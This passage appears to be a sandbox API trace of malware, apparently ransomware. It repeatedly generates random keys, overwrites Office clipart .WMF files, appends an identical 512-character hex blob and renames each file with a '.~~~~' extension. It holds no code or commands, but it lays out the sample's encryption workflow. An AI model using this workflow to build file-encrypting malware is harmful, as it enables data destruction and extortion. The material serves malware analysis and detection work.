	[0114.588] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.588] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0114.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0114.588] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23457850428) returned 1
	[0114.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xade5ab30, dwHighDateTime=0x1d60e1e)) 
	[0114.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0114.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0114.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0114.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a1a8
	[0114.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a1a8 | out: hHeap=0x300000) returned 1
	[0114.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837f70
	[0114.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.589] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0114.589] GetLastError () returned 0x0
	[0114.590] GetLastError () returned 0x0
	[0114.590] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0114.590] GetLastError () returned 0x0
	[0114.590] GetLastError () returned 0x0
	[0114.594] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe1a4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.594] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1e5c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x1e5c, lpOverlapped=0x0) returned 1
	[0114.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0114.596] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.596] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.596] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.596] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.596] CloseHandle (hObject=0x140) returned 1
	[0114.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.597] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf.~~~~")) returned 1
	[0114.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0114.598] GetLastError () returned 0x0
	[0114.599] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0114.600] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0114.600] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0114.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0114.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0114.600] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23459062641) returned 1
	[0114.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xade80c90, dwHighDateTime=0x1d60e1e)) 
	[0114.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0114.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0114.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0114.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a1e0
	[0114.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0114.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a1e0 | out: hHeap=0x300000) returned 1
	[0114.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0114.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838560
	[0114.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.601] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0114.602] GetLastError () returned 0x0
	[0114.602] GetLastError () returned 0x0
	[0114.602] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0114.602] GetLastError () returned 0x0
	[0114.602] GetLastError () returned 0x0
	[0114.604] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffc9be, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.604] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x3642, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x3642, lpOverlapped=0x0) returned 1
	[0114.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0114.606] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.606] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.606] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.606] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.607] CloseHandle (hObject=0x140) returned 1
	[0114.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.607] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf.~~~~")) returned 1
	[0114.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0114.608] GetLastError () returned 0x0
	[0114.609] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0114.610] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0114.610] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0114.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0114.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0114.610] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23460020632) returned 1
	[0114.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xadea6df0, dwHighDateTime=0x1d60e1e)) 
	[0114.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0114.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0114.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0114.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a218
	[0114.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0114.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a218 | out: hHeap=0x300000) returned 1
	[0114.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0114.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28385f8
	[0114.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.611] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0114.611] GetLastError () returned 0x0
	[0114.611] GetLastError () returned 0x0
	[0114.611] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0114.611] GetLastError () returned 0x0
	[0114.612] GetLastError () returned 0x0
	[0114.613] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffb892, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.613] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x476e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x476e, lpOverlapped=0x0) returned 1
	[0114.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0114.615] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.615] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.615] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.615] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.615] CloseHandle (hObject=0x140) returned 1
	[0114.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.615] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf.~~~~")) returned 1
	[0114.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0114.616] GetLastError () returned 0x0
	[0114.617] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0114.618] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0114.618] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0114.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0114.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0114.618] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23460844341) returned 1
	[0114.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xadea6df0, dwHighDateTime=0x1d60e1e)) 
	[0114.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0114.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0114.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0114.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a250
	[0114.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0114.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a250 | out: hHeap=0x300000) returned 1
	[0114.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0114.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838690
	[0114.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.619] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0114.619] GetLastError () returned 0x0
	[0114.620] GetLastError () returned 0x0
	[0114.620] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0114.620] GetLastError () returned 0x0
	[0114.620] GetLastError () returned 0x0
	[0114.716] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff2720, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.716] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xd8e0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0xd8e0, lpOverlapped=0x0) returned 1
	[0114.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0114.718] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.718] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.718] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.718] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.718] CloseHandle (hObject=0x140) returned 1
	[0114.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0114.744] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf.~~~~")) returned 1
	[0115.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0115.026] GetLastError () returned 0x0
	[0115.026] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0115.027] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.028] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0115.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0115.028] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23501800410) returned 1
	[0115.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xae1083f0, dwHighDateTime=0x1d60e1e)) 
	[0115.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0115.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0115.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0115.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a528
	[0115.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a528 | out: hHeap=0x300000) returned 1
	[0115.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838728
	[0115.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.029] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0115.029] GetLastError () returned 0x0
	[0115.029] GetLastError () returned 0x0
	[0115.030] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0115.030] GetLastError () returned 0x0
	[0115.030] GetLastError () returned 0x0
	[0115.039] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff8fb2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.039] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x704e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x704e, lpOverlapped=0x0) returned 1
	[0115.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0115.041] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.041] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.041] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.041] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.041] CloseHandle (hObject=0x13c) returned 1
	[0115.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.042] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf.~~~~")) returned 1
